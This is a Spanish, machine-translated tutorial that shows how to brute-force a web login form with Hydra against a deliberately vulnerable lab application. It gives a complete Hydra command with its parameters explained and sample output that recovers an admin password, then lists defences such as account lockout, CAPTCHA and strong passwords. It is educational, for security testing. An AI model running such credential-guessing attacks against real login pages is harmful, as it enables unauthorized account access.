Fuerza bruta automatizada en el inicio de sesión basado en la web

Los ataques de fuerza bruta funcionan calculando cada combinación posible que podría formar una contraseña y probándola para ver si es la contraseña correcta. A medida que aumenta la longitud de la contraseña, la cantidad de tiempo, en promedio, para encontrar la contraseña correcta aumenta exponencialmente. Esto significa que las contraseñas cortas generalmente se pueden descubrir con bastante rapidez, pero las contraseñas más largas pueden llevar décadas [Fuente: Wiki ]

Puede ser factible en algunas situaciones, ya que los equipos informáticos son cada vez más rápidos. Un simple ataque de fuerza bruta comenzaría con contraseñas de un dígito, luego contraseñas de dos dígitos y así sucesivamente, probando todas las combinaciones posibles hasta que una funcione.

Una mejor idea es el «ataque de diccionario» que prueba palabras en un diccionario, o una lista de contraseñas comunes, en lugar de todas las contraseñas posibles. Esto puede ser muy efectivo, ya que muchas personas usan contraseñas comunes y poco seguras.

Podemos usar una herramienta automatizada para el formulario de inicio de sesión basado en la web de fuerza bruta

Uso de Hydra para atacar formularios de inicio de sesión basados ​​​​en la web
Hydra es un descifrado de contraseñas en línea para ataques de diccionario. Intenta listas de nombres de usuario y contraseñas hasta que se encuentra un inicio de sesión exitoso. Tiene varios subprocesos y puede probar combinaciones de nombre de usuario/contraseña a una velocidad de miles por minuto [Fuente

Hydra se puede usar para atacar muchos servicios diferentes, incluidos IMAP, SMB, HTTP, VNC, MS-SQL MySQL, SMTP, SSH y muchos más.

Esta herramienta no debe usarse para atacar sitios web o servicios donde no tenga permiso para hacerlo. Úselo solo para fines de prueba legítimos.

Un ejemplo de ataque
Web Security Dojo tiene varias aplicaciones vulnerables que puede usar para probar estas técnicas. Entonces, mirando un ejemplo, el marco de prueba w3af tiene un inicio de sesión de prueba en la siguiente ubicación

http://192.168.1.69/w3af/bruteforce/form_login/

Las partes importantes del formulario HTML son:

<form name="input" action="dataReceptor.php" method="post">
Username:
<input type="text" name="user">
  
Password:
<input type="password" name="pass">

Si ingresamos una combinación incorrecta de nombre de usuario y contraseña, obtenemos:

Inicio de sesión incorrecto, ¡deja de usar fuerza bruta! Mala combinación u/p para el usuario: a
Entonces, ahora que tenemos la información que necesitamos para atacar este formulario de inicio de sesión, podemos usar esta información para construir un ataque de fuerza bruta de Hydra de la siguiente manera:

hydra 192.168.1.69 http-form-post "/w3af/bruteforce/form_login/dataReceptor.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt

Si rompemos esto

Host = 192.168.1.69
Method = http-form-post
URL = /w3af/bruteforce/form_login/dataReceptor.php
Form parameters = user=^USER^&pass=^PASS^
Failure response = Bad login
Users file = users.txt
Password file = pass.txt
Threads = -t 10
Wait for timeout = -w 30
Output file = -o hydra-http-post-attack.txt

Hydra básicamente itera a través de todas las combinaciones de nombre de usuario/contraseña, hasta que obtiene una respuesta que no contiene el texto «Inicio de sesión incorrecto». Cuando ejecutamos este ataque obtenemos:

Hydra basically iterates through all the username/password combinations, until it gets a response that does not contain the text "Bad login". When we run this attack we get:



Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.Hydra (http://www.thc.org/thc-hydra) starting at 2011-08-22 13:11:03
[DATA] 5 tasks, 1 servers, 5 login tries (l:5/p:1), ~1 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] attack finished for 192.168.1.69 (waiting for children to finish)
[80][www-form] host: 192.168.1.69   login: admin   password: 1234
Hydra (http://www.thc.org/thc-hydra) finished at 2011-08-22 13:11:07

As you can see, this was successful and found the user "admin" with password "1234".

Prevención

  1. El primero es implementar una política de bloqueo de cuentas. Por ejemplo, después de tres intentos de inicio de sesión fallidos, la cuenta se bloquea hasta que un administrador la desbloquea.
  2. Deberíamos usar una prueba de desafío-respuesta para evitar envíos automáticos de la página de inicio de sesión. Se pueden usar herramientas como el reCAPTCHA gratuito para solicitar al usuario que ingrese una palabra o resuelva un problema matemático simple para asegurarse de que el usuario sea, de hecho, una persona.
  3. Cualquier aplicación web debe exigir el uso de contraseñas seguras. Como mínimo, exigir a los usuarios que elijan contraseñas de ocho letras o más con cierta complejidad (letras y números, o que requieran un carácter especial) es una excelente defensa contra los ataques de fuerza bruta.

Fuentes
http://searchsecurity.techtarget.com/definition/brute-force-cracking
https://en.wikipedia.org/wiki/Brute-force_attack
https://hackertarget.com/brute-forcecing-passwords-with-ncrack -hidra-y-medusa/
https://sourceforge.net/projects/websecuritydojo/

Este artículo es una contribución de Akash Sharan . Si le gusta GeeksforGeeks y le gustaría contribuir, también puede escribir un artículo usando contribuya.geeksforgeeks.org o envíe su artículo por correo a contribuya@geeksforgeeks.org. Vea su artículo que aparece en la página principal de GeeksforGeeks y ayude a otros Geeks.

Escriba comentarios si encuentra algo incorrecto o si desea compartir más información sobre el tema tratado anteriormente.

Publicación traducida automáticamente

Artículo escrito por GeeksforGeeks-1 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *